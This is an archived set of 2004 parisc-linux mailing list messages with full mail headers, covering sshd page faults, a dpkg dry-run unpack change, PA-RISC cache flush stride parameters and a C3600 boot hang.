sshd only page faults (so far) and sometimes "hangs" (^C to kill it).
Out of 9 attempts, I get one hang and 4 page faults.
"Connection closed" on all except the "hang".

Using console, I can
o apt-get update
o apt-get upgrade
o ssh -l grundler 192.168.1.1

So far, everything from the console works.
I'm not sure why sshd is having such a hard time.
I still don't think "stride" is the problem.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] This ones for you ggg! (fixed dpkg)
Date: Fri, 11 Jun 2004 15:37:16 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20040611193716.GI29203@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623473 9925 80.91.229.3 (22 Nov 2014 02:31:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9035 invoked by uid 65534); 11 Jun 2004 19:39:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx029) with SMTP; 11 Jun 2004 21:39:27 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E369B3BDCB; Fri, 11 Jun 2004 13:39:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16552-04; Fri, 11 Jun 2004 13:38:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5B3E53BDE7; Fri, 11 Jun 2004 13:37:23 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7BF7A3BDD5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Jun 2004 13:37:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15570-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Jun 2004 13:37:19 -0600 (MDT)
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 3D4003BDCB
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Jun 2004 13:37:19 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BYrq1-0004Fu-00 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Jun 2004 15:37:17 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (23% Sync Ratio [==........])
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21721


ggg,

Tired of dpkg hosing your system? In place untarring hurting when the
untar fails? No more worries! New dpkg only untars properly when it's
sure to pass!

Would you care to test, or rather would anyone care to test, a new
improved dpkg that forces a dry-run unpack before the actual unpack.
That way corrupted tarballs don't hose your system.

I think dpkg should be more robust so I made it so...

http://parisc-linux.org/~carlos/debian-work/dpkg/

The only way to make dpkg better is:

0. Make the above dry-run check an option so dpkg runs faster
   at the expense of less checking.
1. Try to unpack control.tar.gz to get an idea of the md5sum
2. Add another ar archive member with md5sum inside.
 - Bump deb to version 3.0

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] This ones for you ggg! (fixed dpkg)
Date: Fri, 11 Jun 2004 14:17:27 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20040611201727.GB15579@colo.lackof.org>
References: <20040611193716.GI29203@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623473 9929 80.91.229.3 (22 Nov 2014 02:31:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 6843 invoked by uid 65534); 11 Jun 2004 20:17:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx027) with SMTP; 11 Jun 2004 22:17:47 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 19F173BDF3; Fri, 11 Jun 2004 14:17:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16616-09; Fri, 11 Jun 2004 14:17:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B35D63BDE6; Fri, 11 Jun 2004 14:17:32 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F0883BDD5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Jun 2004 14:17:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16552-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Jun 2004 14:17:29 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 111503BDCB
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Jun 2004 14:17:29 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 53202298056; Fri, 11 Jun 2004 14:17:28 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 16377-02; Fri, 11 Jun 2004 14:17:27 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C6DB8298052; Fri, 11 Jun 2004 14:17:27 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040611193716.GI29203@baldric.uwo.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21722

On Fri, Jun 11, 2004 at 03:37:16PM -0400, Carlos O'Donell wrote:
> Tired of dpkg hosing your system?

Given the enthusiasm...

...
> I think dpkg should be more robust so I made it so...
> http://parisc-linux.org/~carlos/debian-work/dpkg/

...I felt obliged to test this. Installed on "ios" (aka gsyprf7).
And let dselect do it's thing. No problems.
This is an "unstable" system and 53 packages got upgraded.
(63MB total)

thanks!
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Hull" <jim.hull@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] PA8800/ZX1 support committed to 2.6.7-rc2-pa2
Date: Fri, 11 Jun 2004 17:38:24 -0700
Lines: 101
Approved: news@gmane.org
Message-ID: <008a01c45015$9205b780$f463f40f@jh733133>
References: <20040611055819.GA32005@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623473 9933 80.91.229.3 (22 Nov 2014 02:31:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:13 +0000 (UTC)
Cc: 'PARISC list' <parisc-linux@lists.parisc-linux.org>
To: "'Grant Grundler'" <grundler@parisc-linux.org>,
 "'James Bottomley'" <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 27161 invoked by uid 65534); 12 Jun 2004 00:39:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx027) with SMTP; 12 Jun 2004 02:39:01 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 528203BDD5; Fri, 11 Jun 2004 18:38:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17588-08; Fri, 11 Jun 2004 18:38:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C4B893BDD6; Fri, 11 Jun 2004 18:38:29 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9EF823BDCF
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Jun 2004 18:38:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17398-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Jun 2004 18:38:25 -0600 (MDT)
Original-Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245])
	by free.linux.hp.com (Postfix) with ESMTP id 6DE163BDCB
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Jun 2004 18:38:25 -0600 (MDT)
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by palrel10.hp.com (Postfix) with ESMTP
	id E93297B81; Fri, 11 Jun 2004 17:38:24 -0700 (PDT)
Original-Received: from jh733133 (dhcp42uvi498.cup.hp.com [15.244.99.244])
	by lucy.cup.hp.com (8.9.3 (PHNE_28809+JAGae91741)/8.9.3 SMKit7.02) with
	ESMTP id RAA15319; Fri, 11 Jun 2004 17:38:24 -0700 (PDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.5709
In-reply-to: <20040611055819.GA32005@colo.lackof.org>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409
Importance: Normal
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21723

Grant:

> Well, I talked to another HP engineer who deals with this stuff
> more than I do and came away with some observations:
>=20
> 1) values returned from the PDC_CACHE_INFO call (stride, block, loop)
>    are supposed to be "universal" - ie apply to all levels of cache.
>    The values are intended to work in the "architected cache=20
> flush loop".
>    Does that only apply for the FDCE loop?
>    What about FDC/FIC loops?

PDC_CACHE returns parameters for both the architected FDCE loop and the
architected FICE loop.  They are D_base, D_count, D_loop, and D_stride =
for the
FDCE loop and I_base, I_count, I_loop, and I_stride for the FICE loop.

The PDC_CACHE description also contains a Programming Note which explain =
how you
might use the values in the various bit-fields from two other returned
parameters (D_conf and I_conf) to flush a range of addresses using FDC =
or FIC.
Technically, these aren't "architected loops", they're just a =
suggestion.

> 2) values from the C8000 prototype could be wrong. Output and diff
>    are appended below. Basically it's telling me to traverse
>    the entire 32MB cache with 128 byte stride.

I checked the Mako ERS; it clearly describes what parameters PDC must =
return in
order for the flush loops to work.  The values you show match those in =
the ERS.

> 3) I'm not sure if loop=3D1 indicates 2-way associative or=20
> direct mapped.
>    I expect direct mapped.  I need to re-read the docs.
>    Maybe someone knows? jsm?

You should not think about the FDCE/FICE parameters as corresponding to =
any
particular property of the given cache.  They are simply abstract values =
to plug
into the architected flush loops in order to make them flush the whole =
cache.
For example, since the Mako caches are all 4-way associative, you might =
think
that the "loop" parameter(s) would be 4.  However, because of the design =
of the
Mako FDCE and FICE instructions, executing with "loop" equal 4, and with =
"count"
equal to 1/4 of its current value, would (sometimes) fail to flush the =
whole
cache.

> Console output from debug info I enabled/added:
> | model 9000/785/C8000
> | ic_size 2000000 dc_size 2000000 it_size f0
> | DC  base 0x0 stride 0x80 count 0x40000 loop 0x1
> | dc_conf =3D 0x1882000  alias 0 blk 1 line 4 shift 1
> |         wt 0 sh 0 cst 1 assoc 0
> | IC  base 0x0 stride 0x80 count 0x40000 loop 0x1
> | ic_conf =3D 0x1882000  alias 0 blk 1 line 4 shift 1
> |         wt 0 sh 0 cst 1 assoc 0
> | D-TLB conf: sh 3 page 1 cst 1 aid 0 pad1 0
> | I-TLB conf: sh 3 page 1 cst 1 aid 3 pad1 0
> | dcache_stride 128   icache_stride 128
> | parisc_cache_init: Only equivalent aliasing supported!
>=20
>=20
> The difference between D-TLB and I-TLB was interesting but
> I don't know what to make of it.
>=20
> I noticed HPUX was calculating the stride differently than
> parisc-linux. I didn't realize until later the difference
> could be due to older/newer firmware versions and/or differences
> in the "architected loop" initialization.

For FDC/FIC loops, the architecture was changed to handle machines with =
line
sizes larger than 64 bytes (like Mako, where it's 128).  The correct =
equation,
which will work on both new and old machines, is:

  stride =3D (1 << (block - 1)) * ((line * 16) << shift)

> Changing "4 + cnf.cc_shift" (stride=3D128) to "3 + cnf.cc_shift"
> (stride=3D64) didn't help. This implies the stride is not the problem.

If the "4 + cnf.cc_shift" is trying to compute a stride, then this may =
be the
source of the problem.  Try changing it as above.

 -- Jim

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matej Martini" <calibrator@gmx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C3600 install
Date: Sat, 12 Jun 2004 10:38:27 +0200 (MEST)
Lines: 84
Approved: news@gmane.org
Message-ID: <22601.1087029507@www15.gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623474 9936 80.91.229.3 (22 Nov 2014 02:31:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25052 invoked by uid 65534); 12 Jun 2004 08:39:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx043) with SMTP; 12 Jun 2004 10:39:01 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DAA5D3BDE1; Sat, 12 Jun 2004 02:38:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23346-01; Sat, 12 Jun 2004 02:38:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A8DF23BDED; Sat, 12 Jun 2004 02:38:34 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 909B23BDD5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Jun 2004 02:38:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23205-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Jun 2004 02:38:29 -0600 (MDT)
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id E384A3BDCF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Jun 2004 02:38:28 -0600 (MDT)
Original-Received: (qmail 8074 invoked by uid 0); 12 Jun 2004 08:38:27 -0000
Original-Received: from 217.162.126.107 by www15.gmx.net with HTTP;
	Sat, 12 Jun 2004 10:38:27 +0200 (MEST)
X-Priority: 3 (Normal)
X-Authenticated: #23125586
X-Mailer: WWW-Mail 1.6 (Global Message Exchange)
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21724

Hi

I recently bought a Visualize C3600, my first PARISC box. After playing
around with HP-UX for some days I would like to install my favoured OS ;)
on this really nice machine. FXE-graphics isn't supported so I do this via
serial line. I tried Gentoo (2.4.26-pa1) and an older Debian netinstall
(2.4.20) but I don't get far.  All I get looks like this:

---------------------------------------------------------------------------

Command line for kernel: ' root=/dev/ram0 init=/linuxrc cdroot
looptype=normal l
oop=/livecd.loop console=ttyS0 palo_kernel=0/vmlinux'
Selected kernel: /vmlinux from partition 0
Selected ramdisk: initrd from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing...
This box can boot either 32 or 64-bit kernels...Both kernels available,
choosing
 32-bit kernelELF32 executable
Entry 00100290 first 00100000 n 5
Segment 0 load 00100000 size 2555292 mediaptr 0x1000
Segment 1 load 00370000 size 385040 mediaptr 0x271000
Segment 2 load 003d0000 size 270336 mediaptr 0x2d0000
Segment 3 load 00418000 size 32768 mediaptr 0x312000
Segment 4 load 00477d60 size 130928 mediaptr 0x31ad60
Loading ramdisk 1107370 bytes @ 3fee0000...
Branching to kernel entry point 0x00100290.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.4.26-pa1-livecd-32 (root@b180l) (gcc version 3.3.2) #1 Mon
May 1
7 22:56:46 UTC 2004
FP[0] enabled: Rev 1 Model 16
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 00005cf0 00000481 00000000 00000002 77654da0 100000f0 00000008
000000b2 00
0000b2
vers  00000301
CPUID vers 17 rev 11 (0x0000022b)
capabilities 0x3
model 9000/785/C3600
Total Memory: 1024 Mb
initrd: 4fee0000-4ffee5aa
initrd: reserving 3fee0000-3ffee5aa (mem_max 40000000)
pagetable_init
On node 0 totalpages: 262144
zone(0): 262144 pages.
zone(1): 0 pages.
zone(2): 0 pages.
LCD display at f05d0008,f05d0000 registered
Kernel command line:  root=/dev/ram0 init=/linuxrc cdroot looptype=normal
loop=/
livecd.loop console=ttyS0 palo_kernel=0/vmlinux
Console: colour dummy device 160x64
Calibrating delay loop... 1101.00 BogoMIPS
Memory: 1031372k available
Dentry cache hash table entries: 131072 (order: 8, 1048576 bytes)
Inode cache hash table entries: 65536 (order: 7, 524288 bytes)
Mount cache hash table entries: 512 (order: 0, 4096 bytes)
Buffer cache hash table entries: 65536 (order: 6, 262144 bytes)
Page-cache hash table entries: 262144 (order: 8, 1048576 bytes)
Searching for devices...

---------------------------------------------------------------------------

At this point the machine seems to hang. As mentioned above this is my first
PARISC box. I'm not that familiar with the hppa architecture. Maybe it's
just a silly thing I haven't noticed. So if anyone can give me a hint I
would be glad...

Matej Martini

-- 
"Sie haben neue Mails!" - Die GMX Toolbar informiert Sie beim Surfen!
Jetzt aktivieren unter http://www.gmx.net/info

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3600 install
Date: Sat, 12 Jun 2004 10:31:38 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20040612173138.GC19250@tausq.org>
References: <22601.1087029507@www15.gmx.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623474 9939 80.91.229.3 (22 Nov 2014 02:31:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matej Martini <calibrator@gmx.net>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23898 invoked by uid 65534); 12 Jun 2004 17:31:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 12 Jun 2004 19:31:59 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 93D2D3BDE1; Sat, 12 Jun 2004 11:31:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28039-03; Sat, 12 Jun 2004 11:31:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C65963BDED; Sat, 12 Jun 2004 11:31:37 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DDC0F3BDD5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Jun 2004 11:31:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27404-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Jun 2004 11:31:34 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id C65813BDCF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Jun 2004 11:31:33 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 41CE8CD29F; Sat, 12 Jun 2004 10:31:38 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <22601.1087029507@www15.gmx.net>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
